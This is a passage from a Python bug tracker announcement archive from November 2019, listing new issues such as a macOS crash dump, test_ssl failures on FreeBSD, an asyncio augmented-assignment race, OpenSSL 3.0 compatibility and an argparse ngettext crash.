    0x7fff48d3c000 -     0x7fff48d6aff7  com.apple.CSStore (1069.11 - 1069.11) <792520D2-5D81-3867-8DC7-75F8205D5A5B> /System/Library/PrivateFrameworks/CoreServicesStore.framework/Versions/A/CoreServicesStore
    0x7fff54e56000 -     0x7fff54f24ff5  com.apple.LanguageModeling (1.0 - 215) <D3478ED9-A757-355F-A4A0-464E133182D6> /System/Library/PrivateFrameworks/LanguageModeling.framework/Versions/A/LanguageModeling
    0x7fff54f25000 -     0x7fff54f6dff7  com.apple.Lexicon-framework (1.0 - 72) <94910CCB-C386-3912-84A2-1A730BB6EF62> /System/Library/PrivateFrameworks/Lexicon.framework/Versions/A/Lexicon
    0x7fff54f74000 -     0x7fff54f78ff6  com.apple.LinguisticData (1.0 - 353) <23AF4473-4FDB-39D9-8862-7D23276606A9> /System/Library/PrivateFrameworks/LinguisticData.framework/Versions/A/LinguisticData
    0x7fff562c9000 -     0x7fff56315ff7  com.apple.spotlight.metadata.utilities (1.0 - 2074.4) <8957F147-9371-3728-896E-FC517AC7E86E> /System/Library/PrivateFrameworks/MetadataUtilities.framework/Versions/A/MetadataUtilities
    0x7fff56d3c000 -     0x7fff56d46fff  com.apple.NetAuth (6.2 - 6.2) <BA114B8C-BE33-3DBB-BDC8-25423DBBD3A3> /System/Library/PrivateFrameworks/NetAuth.framework/Versions/A/NetAuth
    0x7fff5fa30000 -     0x7fff5fa40ff3  com.apple.TCC (1.0 - 1) <87BE8D5C-5D35-3434-8BDF-1615349C7A21> /System/Library/PrivateFrameworks/TCC.framework/Versions/A/TCC
    0x7fff63c9d000 -     0x7fff63c9fff3  com.apple.loginsupport (1.0 - 1) <FFE90A0A-BEBC-3032-9368-94C016BE0795> /System/Library/PrivateFrameworks/login.framework/Versions/A/Frameworks/loginsupport.framework/Versions/A/loginsupport
    0x7fff6400e000 -     0x7fff64043ff7  libCRFSuite.dylib (48) <CDEA70A4-318B-3990-9AAE-1D7B18132760> /usr/lib/libCRFSuite.dylib
    0x7fff64046000 -     0x7fff64050ff3  libChineseTokenizer.dylib (34) <4D68248B-BD40-32E3-ABCA-CE23BCA0A6A4> /usr/lib/libChineseTokenizer.dylib
    0x7fff640dd000 -     0x7fff640dffff  libDiagnosticMessagesClient.dylib (112) <83F42398-DB41-3BB2-B8A1-10D78C4B5778> /usr/lib/libDiagnosticMessagesClient.dylib
    0x7fff645a5000 -     0x7fff645a6ff3  libSystem.B.dylib (1281) <1DD1BCD2-2C85-3B81-8CAF-224FB042F441> /usr/lib/libSystem.B.dylib
    0x7fff64636000 -     0x7fff64637fff  libThaiTokenizer.dylib (3) <22582C9C-3D32-3832-8925-813E4F2BA8DA> /usr/lib/libThaiTokenizer.dylib
    0x7fff6464f000 -     0x7fff64665fff  libapple_nghttp2.dylib (1.39.2) <9B990E6A-D9EB-3F2C-B7CA-085A47D4BC62> /usr/lib/libapple_nghttp2.dylib
    0x7fff6469a000 -     0x7fff6470cff7  libarchive.2.dylib (72.40.2) <25C00824-621A-3FF1-9B6C-52999B6DDF4E> /usr/lib/libarchive.2.dylib
    0x7fff6483e000 -     0x7fff6483eff3  libauto.dylib (187) <F4B3519A-A4FC-30E0-805C-70C99BA3FDDA> /usr/lib/libauto.dylib
    0x7fff648fc000 -     0x7fff6490cfff  libbsm.0.dylib (60) <E57A0CC6-226D-3529-A23A-D5DD6674DB3E> /usr/lib/libbsm.0.dylib
    0x7fff6490d000 -     0x7fff64919fff  libbz2.1.0.dylib (44) <F3D26C17-BC6E-3A83-A3BB-137343C87303> /usr/lib/libbz2.1.0.dylib
    0x7fff6491a000 -     0x7fff6496dfff  libc++.1.dylib (800.7) <1D42387D-206A-3F06-9B5F-705B83EAC295> /usr/lib/libc++.1.dylib
    0x7fff6496e000 -     0x7fff64982fff  libc++abi.dylib (800.7) <D89ABFBF-3754-35AB-BAEE-FBF14857F79B> /usr/lib/libc++abi.dylib
    0x7fff64983000 -     0x7fff64983ffb  libcharset.1.dylib (59) <EC5B95D9-388B-3351-9192-CD6CDB8C3E0F> /usr/lib/libcharset.1.dylib
    0x7fff64984000 -     0x7fff64995ffb  libcmph.dylib (8) <49C8E101-945E-369B-91D3-2129000DFF35> /usr/lib/libcmph.dylib
    0x7fff64996000 -     0x7fff649aefcf  libcompression.dylib (87) <51724F54-908E-3616-9B64-EAEA2FA813D0> /usr/lib/libcompression.dylib
    0x7fff64c7b000 -     0x7fff64c91fff  libcoretls.dylib (167) <4F054E37-783A-3FCD-B90B-23A0A83621D9> /usr/lib/libcoretls.dylib
    0x7fff64c92000 -     0x7fff64c93ffb  libcoretls_cfhelpers.dylib (167) <62E31BC8-A823-3816-B130-2BB550433203> /usr/lib/libcoretls_cfhelpers.dylib
    0x7fff653bc000 -     0x7fff653bcff3  libenergytrace.dylib (21) <1CE2BD78-F68E-36A3-BCE9-E9EAB78D9FF3> /usr/lib/libenergytrace.dylib
    0x7fff653e4000 -     0x7fff653e6ff7  libfakelink.dylib (149) <528A0ABE-B583-3DA1-8E5B-9CA7E89303DE> /usr/lib/libfakelink.dylib
    0x7fff653e7000 -     0x7fff653ecf4f  libffi.dylib (25) <639F392F-A930-3DB5-A3E5-BB367ED22339> /usr/lib/libffi.dylib
    0x7fff653f5000 -     0x7fff653fafff  libgermantok.dylib (24) <5E297121-22A7-3A2F-92B9-DD3E5C829CC7> /usr/lib/libgermantok.dylib
    0x7fff65405000 -     0x7fff654f5ff7  libiconv.2.dylib (59) <EB71AC8F-EA44-3BEE-A210-2D92251CA51D> /usr/lib/libiconv.2.dylib
    0x7fff654f6000 -     0x7fff6574eff7  libicucore.A.dylib (64243.0.1) <4CBF52D7-7235-34C8-9FF1-8657076B604F> /usr/lib/libicucore.A.dylib
    0x7fff65768000 -     0x7fff65769fff  liblangid.dylib (133) <DCC4FA36-0563-3BD2-AE35-9BAF52F5BD98> /usr/lib/liblangid.dylib
    0x7fff6576a000 -     0x7fff65782ffb  liblzma.5.dylib (16) <7D2522C8-8CBE-32C9-8743-A8F598602F4C> /usr/lib/liblzma.5.dylib
    0x7fff6579a000 -     0x7fff65841fff  libmecab.dylib (883) <FDA0E623-F6F2-3402-B72C-0C60A32C2CC1> /usr/lib/libmecab.dylib
    0x7fff65842000 -     0x7fff65aa2ff9  libmecabra.dylib (883) <2E84458F-5748-3A9B-94F3-CAF3C79E6383> /usr/lib/libmecabra.dylib
    0x7fff65e0e000 -     0x7fff65e3dff7  libncurses.5.4.dylib (57) <7115BD9E-9A53-3538-BA7C-6D71E8C0F9F1> /usr/lib/libncurses.5.4.dylib
    0x7fff65f6c000 -     0x7fff663deff4  libnetwork.dylib (1880.40.26) <D8C5B7F0-04D5-3470-A9C4-EF8B2FF96986> /usr/lib/libnetwork.dylib
    0x7fff6647d000 -     0x7fff664afff6  libobjc.A.dylib (781) <427A292C-9B1A-3E91-951D-739F1F85D9F5> /usr/lib/libobjc.A.dylib
    0x7fff664c2000 -     0x7fff664c6fff  libpam.2.dylib (25) <02ABA04D-5843-3850-82A3-EBECA6FC2CDF> /usr/lib/libpam.2.dylib
    0x7fff664c9000 -     0x7fff664fcff7  libpcap.A.dylib (89.40.2) <C4F9F5BD-BA21-3038-9665-4D298FB7511C> /usr/lib/libpcap.A.dylib
    0x7fff665f2000 -     0x7fff667d3ff7  libsqlite3.dylib (308.4) <9C850BC8-8E63-3534-9268-75830AEA1940> /usr/lib/libsqlite3.dylib
    0x7fff66a24000 -     0x7fff66a27ffb  libutil.dylib (57) <B88D4C21-DAEF-3566-8EAE-5973C51A16FD> /usr/lib/libutil.dylib
    0x7fff66a28000 -     0x7fff66a35fff  libxar.1.dylib (420) <46AAA43E-6FC6-38A8-B696-62143706D33B> /usr/lib/libxar.1.dylib
    0x7fff66a3b000 -     0x7fff66b1dff7  libxml2.2.dylib (32.12) <0DB777D9-F9A1-3921-BFCE-05A000293915> /usr/lib/libxml2.2.dylib
    0x7fff66b21000 -     0x7fff66b49fff  libxslt.1.dylib (16.7) <C30A840F-E7E7-39D5-A633-9C256650B552> /usr/lib/libxslt.1.dylib
    0x7fff66b4a000 -     0x7fff66b5cfff  libz.1.dylib (76) <3EC7A143-AF2D-35EE-9C08-542B2907E3D2> /usr/lib/libz.1.dylib
    0x7fff675c2000 -     0x7fff675c7ff7  libcache.dylib (83) <74F6459D-3606-3ADB-9808-F6B0FE70062D> /usr/lib/system/libcache.dylib
    0x7fff675c8000 -     0x7fff675d3ff7  libcommonCrypto.dylib (60165) <1333752F-5117-3E86-803A-06E166D80C8C> /usr/lib/system/libcommonCrypto.dylib
    0x7fff675d4000 -     0x7fff675dbfff  libcompiler_rt.dylib (101.2) <0437EBEF-8191-3912-A365-D6BB75C7A810> /usr/lib/system/libcompiler_rt.dylib
    0x7fff675dc000 -     0x7fff675e5fff  libcopyfile.dylib (166.40.1) <7FAF372E-BAD5-30E6-A8F2-A3D06B91DC80> /usr/lib/system/libcopyfile.dylib
    0x7fff675e6000 -     0x7fff6767dfef  libcorecrypto.dylib (866.40.8) <AE25C9EE-5D63-3E49-B3AA-D482D35C085A> /usr/lib/system/libcorecrypto.dylib
    0x7fff67794000 -     0x7fff677d5ff0  libdispatch.dylib (1173.40.5) <1FF421B6-4BF0-3B5F-8F56-5ED3B3EFE06F> /usr/lib/system/libdispatch.dylib
    0x7fff677d6000 -     0x7fff6780bfff  libdyld.dylib (733.6) <2FA4B359-624B-337C-9207-CDCF841C2E52> /usr/lib/system/libdyld.dylib
    0x7fff6780c000 -     0x7fff6780cffb  libkeymgr.dylib (30) <7EEF9246-30B4-34DD-8AD6-79679D1A7784> /usr/lib/system/libkeymgr.dylib
    0x7fff6780d000 -     0x7fff67819ff7  libkxld.dylib (6153.41.3) <F9FF90CE-DCB0-3918-882F-6E475A6E244A> /usr/lib/system/libkxld.dylib
    0x7fff6781a000 -     0x7fff6781aff7  liblaunch.dylib (1738.40.10) <CC02D5B3-A95D-3B16-8EE5-D62521CFE899> /usr/lib/system/liblaunch.dylib
    0x7fff6781b000 -     0x7fff67820ff7  libmacho.dylib (949.0.1) <6C3E49B2-594D-3B9D-82DB-C4ABEB9788AB> /usr/lib/system/libmacho.dylib
    0x7fff67821000 -     0x7fff67823ff3  libquarantine.dylib (110.40.3) <A1BCAA32-A194-3DBE-9930-8F49A4AEF284> /usr/lib/system/libquarantine.dylib
    0x7fff67824000 -     0x7fff67825ff7  libremovefile.dylib (48) <DD7AE862-F179-3C07-A4FC-5775DDD4D3E6> /usr/lib/system/libremovefile.dylib
    0x7fff67826000 -     0x7fff6783dfff  libsystem_asl.dylib (377.40.1) <ECE44856-D279-3B5D-A0AA-8BE421D200C4> /usr/lib/system/libsystem_asl.dylib
    0x7fff6783e000 -     0x7fff6783efff  libsystem_blocks.dylib (74) <DC521115-905A-3A0D-9337-C55FACCEA85F> /usr/lib/system/libsystem_blocks.dylib
    0x7fff6783f000 -     0x7fff678c6ff7  libsystem_c.dylib (1353.41.1) <5AD50779-955E-3F56-BCB9-1E14833B3455> /usr/lib/system/libsystem_c.dylib
    0x7fff678c7000 -     0x7fff678cafff  libsystem_configuration.dylib (1061.40.2) <7A2329E0-3C84-3DB7-BC32-E7796C50D621> /usr/lib/system/libsystem_configuration.dylib
    0x7fff678cb000 -     0x7fff678ceff7  libsystem_coreservices.dylib (114) <DF341577-A307-3722-BB24-D4AACEAB19B3> /usr/lib/system/libsystem_coreservices.dylib
    0x7fff678cf000 -     0x7fff678d6fff  libsystem_darwin.dylib (1353.41.1) <E862B5B1-A367-39CA-8319-B2F9DFADF606> /usr/lib/system/libsystem_darwin.dylib
    0x7fff678d7000 -     0x7fff678deffb  libsystem_dnssd.dylib (1096.40.7) <2A9C6F3E-427B-332E-BDD3-D4651306F3DE> /usr/lib/system/libsystem_dnssd.dylib
    0x7fff678df000 -     0x7fff678e0ffb  libsystem_featureflags.dylib (17) <B94C0052-B75A-3169-80AA-5F480588AF6E> /usr/lib/system/libsystem_featureflags.dylib
    0x7fff678e1000 -     0x7fff6792eff7  libsystem_info.dylib (538) <18CC56C5-5325-3375-BF99-FAE7F4F19DDD> /usr/lib/system/libsystem_info.dylib
    0x7fff6792f000 -     0x7fff6795bff7  libsystem_kernel.dylib (6153.41.3) <18918E9C-45BC-3D5A-A6B6-3DBC60EEE2E1> /usr/lib/system/libsystem_kernel.dylib
    0x7fff6795c000 -     0x7fff679a7fe7  libsystem_m.dylib (3178) <895CC10E-5385-37F6-B813-060AD6E6E01C> /usr/lib/system/libsystem_m.dylib
    0x7fff679a8000 -     0x7fff679cfff7  libsystem_malloc.dylib (283.40.1) <F82A587B-44A2-3699-A218-9D3ECEE23D5A> /usr/lib/system/libsystem_malloc.dylib
    0x7fff679d0000 -     0x7fff679ddff3  libsystem_networkextension.dylib (1095.40.22) <7F206A43-A941-3BAB-AE3A-16169F2FE6AB> /usr/lib/system/libsystem_networkextension.dylib
    0x7fff679de000 -     0x7fff679e7fff  libsystem_notify.dylib (241) <C95CC58E-35E7-3828-AA2A-6EED73C12DE5> /usr/lib/system/libsystem_notify.dylib
    0x7fff679e8000 -     0x7fff679f1fe7  libsystem_platform.dylib (220) <0CCDD81F-0891-3400-8A97-6CAC3BBBE2F9> /usr/lib/system/libsystem_platform.dylib
    0x7fff679f2000 -     0x7fff679fcff7  libsystem_pthread.dylib (416.40.3) <53C65598-9E9E-36FF-BDC2-74F228E58C5C> /usr/lib/system/libsystem_pthread.dylib
    0x7fff679fd000 -     0x7fff67a01ffb  libsystem_sandbox.dylib (1217.41.1) <2183D15E-2CFD-3160-80CE-A948F0529005> /usr/lib/system/libsystem_sandbox.dylib
    0x7fff67a02000 -     0x7fff67a04fff  libsystem_secinit.dylib (62.40.2) <D2782294-ACDC-30FF-A794-B4C1B324526B> /usr/lib/system/libsystem_secinit.dylib
    0x7fff67a05000 -     0x7fff67a0cffb  libsystem_symptoms.dylib (1238.40.4) <A44E4405-E22E-32E9-83DE-8C7A82401DA0> /usr/lib/system/libsystem_symptoms.dylib
    0x7fff67a0d000 -     0x7fff67a23ff2  libsystem_trace.dylib (1147.40.13) <376CC435-E656-37D9-A5FF-C49B6E4525E2> /usr/lib/system/libsystem_trace.dylib
    0x7fff67a25000 -     0x7fff67a2affb  libunwind.dylib (35.4) <44448F1F-08E5-3425-ADBA-C38A9E8F90C7> /usr/lib/system/libunwind.dylib
    0x7fff67a2b000 -     0x7fff67a5fff6  libxpc.dylib (1738.40.10) <99CC9436-D653-3762-ADBB-9054EBD1BA2B> /usr/lib/system/libxpc.dylib

External Modification Summary:
  Calls made by other processes targeting this process:
    task_for_pid: 1
    thread_create: 0
    thread_set_state: 0
  Calls made by this process:
    task_for_pid: 0
    thread_create: 0
    thread_set_state: 0
  Calls made by all processes on this machine:
    task_for_pid: 29888591
    thread_create: 0
    thread_set_state: 0

VM Region Summary:
ReadOnly portion of Libraries: Total=442.7M resident=0K(0%) swapped_out_or_unallocated=442.7M(100%)
Writable regions: Total=140.9M written=0K(0%) resident=0K(0%) swapped_out=0K(0%) unallocated=140.9M(100%)
 
                                VIRTUAL   REGION 
REGION TYPE                        SIZE    COUNT (non-coalesced) 
===========                     =======  ======= 
Activity Tracing                   256K        1 
Kernel Alloc Once                    8K        1 
MALLOC                            75.6M       54 
MALLOC guard page                   16K        3 
MALLOC_LARGE (reserved)            640K        2         reserved VM address space (unallocated)
STACK GUARD                          4K        1 
Stack                             16.0M        1 
VM_ALLOCATE                       48.0M      193 
__DATA                            7801K      198 
__DATA_CONST                       256K       41 
__LINKEDIT                       358.1M       69 
__OBJC_RO                         32.0M        1 
__OBJC_RW                         1780K        2 
__TEXT                            84.6M      188 
__UNICODE                          564K        1 
shared memory                       12K        3 
===========                     =======  ======= 
TOTAL                            625.3M      759 
TOTAL, minus reserved VM space   624.7M      759 

Any help is appreciated.

----------
components: macOS
messages: 356689
nosy: karolyi, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: Python3.7.5 crashes on OSX with my django project
type: crash
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38814>
_______________________________________

From report at bugs.python.org  Fri Nov 15 11:54:20 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 15 Nov 2019 16:54:20 +0000
Subject: [New-bugs-announce] [issue38815] test_ssl: test_min_max_version()
 fails on AMD64 FreeBSD Shared 3.x
Message-ID: <1573836860.92.0.531253629667.issue38815@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

Fail with OpenSSL 1.1.1d  10 Sep 2019 on AMD64 FreeBSD Shared 3.x:
https://buildbot.python.org/all/#/builders/371/builds/78

======================================================================
FAIL: test_min_max_version (test.test_ssl.ContextTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/test/test_ssl.py", line 1238, in test_min_max_version
    self.assertIn(
AssertionError: <TLSVersion.TLSv1_2: 771> not found in {<TLSVersion.SSLv3: 768>, <TLSVersion.TLSv1: 769>}

======================================================================
FAIL: test_min_max_version_mismatch (test.test_ssl.ThreadedTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/test/test_ssl.py", line 220, in wrapper
    return func(*args, **kw)
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/test/test_ssl.py", line 3840, in test_min_max_version_mismatch
    self.assertIn("alert", str(e.exception))
AssertionError: 'alert' not found in '[SSL: NO_PROTOCOLS_AVAILABLE] no protocols available (_ssl.c:1108)'


SSL infos from pythoninfo:

ssl.HAS_SNI: True
ssl.OPENSSL_VERSION: OpenSSL 1.1.1d  10 Sep 2019
ssl.OPENSSL_VERSION_INFO: (1, 1, 1, 4, 15)
ssl.OP_ALL: 0x80000054
ssl.OP_NO_TLSv1_1: 0x10000000

ssl.SSLContext.maximum_version: TLSVersion.MAXIMUM_SUPPORTED
ssl.SSLContext.minimum_version: TLSVersion.MINIMUM_SUPPORTED
ssl.SSLContext.options: Options.OP_ALL|OP_NO_SSLv3|OP_CIPHER_SERVER_PREFERENCE|OP_ENABLE_MIDDLEBOX_COMPAT|OP_NO_COMPRESSION
ssl.SSLContext.protocol: _SSLMethod.PROTOCOL_TLS
ssl.SSLContext.verify_mode: VerifyMode.CERT_NONE

ssl.default_https_context.maximum_version: TLSVersion.MAXIMUM_SUPPORTED
ssl.default_https_context.minimum_version: TLSVersion.MINIMUM_SUPPORTED
ssl.default_https_context.options: Options.OP_ALL|OP_NO_SSLv3|OP_CIPHER_SERVER_PREFERENCE|OP_ENABLE_MIDDLEBOX_COMPAT|OP_NO_COMPRESSION
ssl.default_https_context.protocol: _SSLMethod.PROTOCOL_TLS
ssl.default_https_context.verify_mode: VerifyMode.CERT_REQUIRED

ssl.stdlib_context.maximum_version: TLSVersion.MAXIMUM_SUPPORTED
ssl.stdlib_context.minimum_version: TLSVersion.MINIMUM_SUPPORTED
ssl.stdlib_context.options: Options.OP_ALL|OP_NO_SSLv3|OP_CIPHER_SERVER_PREFERENCE|OP_ENABLE_MIDDLEBOX_COMPAT|OP_NO_COMPRESSION
ssl.stdlib_context.protocol: _SSLMethod.PROTOCOL_TLS
ssl.stdlib_context.verify_mode: VerifyMode.CERT_NONE

----------
assignee: christian.heimes
components: SSL, Tests
messages: 356691
nosy: christian.heimes, vstinner
priority: normal
severity: normal
status: open
title: test_ssl: test_min_max_version() fails on AMD64 FreeBSD Shared 3.x
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38815>
_______________________________________

From report at bugs.python.org  Fri Nov 15 13:35:46 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 15 Nov 2019 18:35:46 +0000
Subject: [New-bugs-announce] [issue38816] Clarify about fork() and the
 CPython runtime in the C-API docs.
Message-ID: <1573842946.86.0.905050259402.issue38816@roundup.psfhosted.org>


New submission from Eric Snow <ericsnowcurrently at gmail.com>:

The C-API docs are a bit sparse on the interplay between C fork() and the CPython runtime.

----------
assignee: eric.snow
components: Documentation
messages: 356705
nosy: eric.snow, gregory.p.smith, pconnell
priority: normal
pull_requests: 16684
severity: normal
stage: patch review
status: open
title: Clarify about fork() and the CPython runtime in the C-API docs.
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38816>
_______________________________________

From report at bugs.python.org  Fri Nov 15 14:56:48 2019
From: report at bugs.python.org (=?utf-8?b?0JDQvdGC0L7QvSDQkdGA0YvQt9Cz0LDQu9C+0LI=?=)
Date: Fri, 15 Nov 2019 19:56:48 +0000
Subject: [New-bugs-announce] [issue38817] Immutable types inplace operations
 work incorrect in async
Message-ID: <1573847808.01.0.483185624752.issue38817@roundup.psfhosted.org>


New submission from ????? ????????? <tony.bryzgaloff at gmail.com>:

Example code (also is attached to the issue):


import asyncio

async def count_smth(seconds: int) -> int:
    await asyncio.sleep(seconds)
    return seconds * 3

async def small_job(d: dict, key: str, seconds: int) -> None:
    d[key] += await count_smth(seconds)  # <-- strange happens here

async def main() -> None:
     d = dict(key=0)
     await asyncio.gather(
           small_job(d, 'key', 1),
           small_job(d, 'key', 2),
     )
     print(d['key'])  # expected: 0 + 1 * 3 + 2 * 3 = 9, actual: 6

if __name__ == '__main__':
    asyncio.run(main())


Expected output: 0 + 1 * 3 + 2 * 3 = 9. Actual: 6. Seems to be a race condition.

Same happens for other immutable types: str, tuple (when used as values of dict instead of int). But works correctly with list and custom class with __iadd__ method.

----------
components: Interpreter Core, asyncio
files: scratch_1.py
messages: 356710
nosy: asvetlov, yselivanov, ????? ?????????
priority: normal
severity: normal
status: open
title: Immutable types inplace operations work incorrect in async
type: behavior
versions: Python 3.6, Python 3.7
Added file: https://bugs.python.org/file48717/scratch_1.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38817>
_______________________________________

From report at bugs.python.org  Fri Nov 15 19:11:33 2019
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 16 Nov 2019 00:11:33 +0000
Subject: [New-bugs-announce] [issue38818] Modify
 PyInterpreterState.eval_frame to pass tstate (PyThreadState)
Message-ID: <1573863093.89.0.126489580733.issue38818@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

Follow-up of bpo-36710 and bpo-38644: I would like to pass explicitly tstate (PyThreadState) to internal C functions.

The problem is that PyInterpreterState.eval_frame function has no tstate parameter. I propose attached PR to add a tstate parameter. It's a backward incompatible change. The "eval_frame" field comes from the PEP 523.

See also bpo-38500 "Provide a way to get/set PyInterpreterState.frame_eval without needing to access interpreter internals".

----------
components: Interpreter Core
messages: 356736
nosy: brett.cannon, vstinner
priority: normal
severity: normal
status: open
title: Modify PyInterpreterState.eval_frame to pass tstate (PyThreadState)
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38818>
_______________________________________

From report at bugs.python.org  Sat Nov 16 00:29:13 2019
From: report at bugs.python.org (Alex)
Date: Sat, 16 Nov 2019 05:29:13 +0000
Subject: [New-bugs-announce] [issue38819] The redirect
Message-ID: <1573882153.73.0.0661856769758.issue38819@roundup.psfhosted.org>


New submission from Alex <2423067593 at qq.com>:

Hi.
This bug I've found is about the redirect, you know, to redirect the standard input/output stream. It's not really a bug, you can think of it as a feature.
The code is like this:

import sys
sys.stdout = open('redirect.txt','w')

print('hello world!') #Something you want to print
after you run it in the IDLE:

==================== RESTART: XXXXXXXXXXXXXXX.py===================
>>> print(1 + 1)
>>>

You will find you can't output as normal.
The version I choose for this issue is Python 3.8.0b4. However, I find this problem is also exist in Python 3.7.5.
How to repair it?

----------
assignee: terry.reedy
components: IDLE
messages: 356742
nosy: Alex-Python-Programmer, terry.reedy
priority: normal
severity: normal
status: open
title: The redirect
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38819>
_______________________________________

From report at bugs.python.org  Sat Nov 16 10:06:59 2019
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 16 Nov 2019 15:06:59 +0000
Subject: [New-bugs-announce] [issue38820] Make Python compatible with
 OpenSSL 3.0.0
Message-ID: <1573916819.64.0.690362352385.issue38820@roundup.psfhosted.org>


New submission from Christian Heimes <lists at cheimes.de>:

OpenSSL 3.0.0 is currently development [1]. I'm expecting a first beta release in December. Final release is scheduled for Q2 2020. OpenSSL 3.0.0 is API and feature compatible to OpenSSL 1.1.0 and 1.1.1. Only minor changes are required:

* OpenSSL version number is >= 3.0.0, which breaks test_openssl_version
* GENERAL_NAME_print() no longer adds trailing newline to IPv6 address strings. 
* ERR_func_error_string is deprecated

[1] https://www.openssl.org/blog/blog/2019/11/07/3.0-update/

----------
assignee: christian.heimes
components: SSL
messages: 356750
nosy: christian.heimes
priority: high
severity: normal
status: open
title: Make Python compatible with OpenSSL 3.0.0
type: enhancement
versions: Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38820>
_______________________________________

From report at bugs.python.org  Sat Nov 16 12:43:26 2019
From: report at bugs.python.org (Federico Bond)
Date: Sat, 16 Nov 2019 17:43:26 +0000
Subject: [New-bugs-announce] [issue38821] argparse calls ngettext with
 deprecated non-integer value
Message-ID: <1573926206.8.0.186409283714.issue38821@roundup.psfhosted.org>


New submission from Federico Bond <federico.bond at gmail.com>:

The call to 'ngettext' in 'ArgumentParser._match_argument' (Lib/argparse.py) uses a non-integer value, which causes it to fail with a nonsensical exception. Non-integer values were deprecated in bpo-28692.

This happens because the 'default' error message is computed unconditionally, even when the value of 'action.nargs' is 'None' and another message will be ultimately selected.

This issue is similar to bpo-35785 which was not reproduced by other people at the moment and was eventually closed. I could not create a short reproducer but could match several of the points described in that issue. A little debugging turned up that gettext was loading a catalog from the 'natural' PyPI package which uses 'Plural-Forms' too.

  File "/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/argparse.py", line 1755, in parse_args
    args, argv = self.parse_known_args(args, namespace)
  File "/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/argparse.py", line 1787, in parse_known_args
    namespace, args = self._parse_known_args(args, namespace)
  File "/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/argparse.py", line 1993, in _parse_known_args
    start_index = consume_optional(start_index)
  File "/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/argparse.py", line 1923, in consume_optional
    arg_count = match_argument(action, selected_patterns)
  File "/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/argparse.py", line 2086, in _match_argument
    action.nargs) % action.nargs
  File "/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/gettext.py", line 631, in ngettext
    return dngettext(_current_domain, msgid1, msgid2, n)
  File "/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/gettext.py", line 610, in dngettext
    return t.ngettext(msgid1, msgid2, n)
  File "/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/gettext.py", line 462, in ngettext
    tmsg = self._catalog[(msgid1, self.plural(n))]
  File "<string>", line 4, in func
  File "/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/gettext.py", line 168, in _as_int
    (n.__class__.__name__,)) from None
TypeError: Plural value must be an integer, got NoneType

----------
components: Library (Lib)
messages: 356761
nosy: Federico Bond
priority: normal
severity: normal
status: open
title: argparse calls ngettext with deprecated non-integer value
type: crash
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38821>
_______________________________________

From report at bugs.python.org  Sat Nov 16 13:14:54 2019
From: report at bugs.python.org (CrouZ)
Date: Sat, 16 Nov 2019 18:14:54 +0000
Subject: [New-bugs-announce] [issue38822] Inconsistent os.stat behavior for
 directory with Access Denied
Message-ID: <1573928094.88.0.209131085868.issue38822@roundup.psfhosted.org>


New submission from CrouZ <alfred.theorin at gmail.com>:

After upgrading some scripts from Python 2.7 to 3.7 in Windows 10, I got different behavior that seems to be caused by inconsistent behavior for os.stat in Python 3.7.

Python 2.7:
>>> os.stat("D:\\System Volume Information")
nt.stat_result ...
>>> os.stat("D:\\System Volume Information\\")
nt.stat_result ... (same as previous call)

Python 3.7:
>>> os.stat("D:\\System Volume Information")
os.stat_result ...
>>> os.stat("D:\\System Volume Information\\")
Traceback ...
PermissionError: [WinError 5] Access is denied: 'D:\\System Volume Information\\'



What I really do is calling:
>>> os.path.exists("D:\\System Volume Information\\")
False (Unexpected and inconsistent. I expect the return value to be True.)

Behavior for other calls:
>>> os.path.exists("D:\\System Volume Information")
True (OK)
>>> os.path.isdir("D:\\System Volume Information\\")
True (OK, but according to the documentation "Return True if path is an existing directory." where 'existing' links to os.path.exists, which returns False)

The closest issue I could find was Issue28075 which has already been fixed.

----------
components: Windows
messages: 356763
nosy: CrouZ, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Inconsistent os.stat behavior for directory with Access Denied
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38822>
_______________________________________

From report at bugs.python.org  Sat Nov 16 13:54:25 2019
From: report at bugs.python.org (Brandt Bucher)
Date: Sat, 16 Nov 2019 18:54:25 +0000
Subject: [New-bugs-announce] [issue38823] Improve stdlib module
 initialization error handling.
Message-ID: <1573930465.91.0.871939917002.issue38823@roundup.psfhosted.org>


New submission from Brandt Bucher <brandtbucher at gmail.com>:

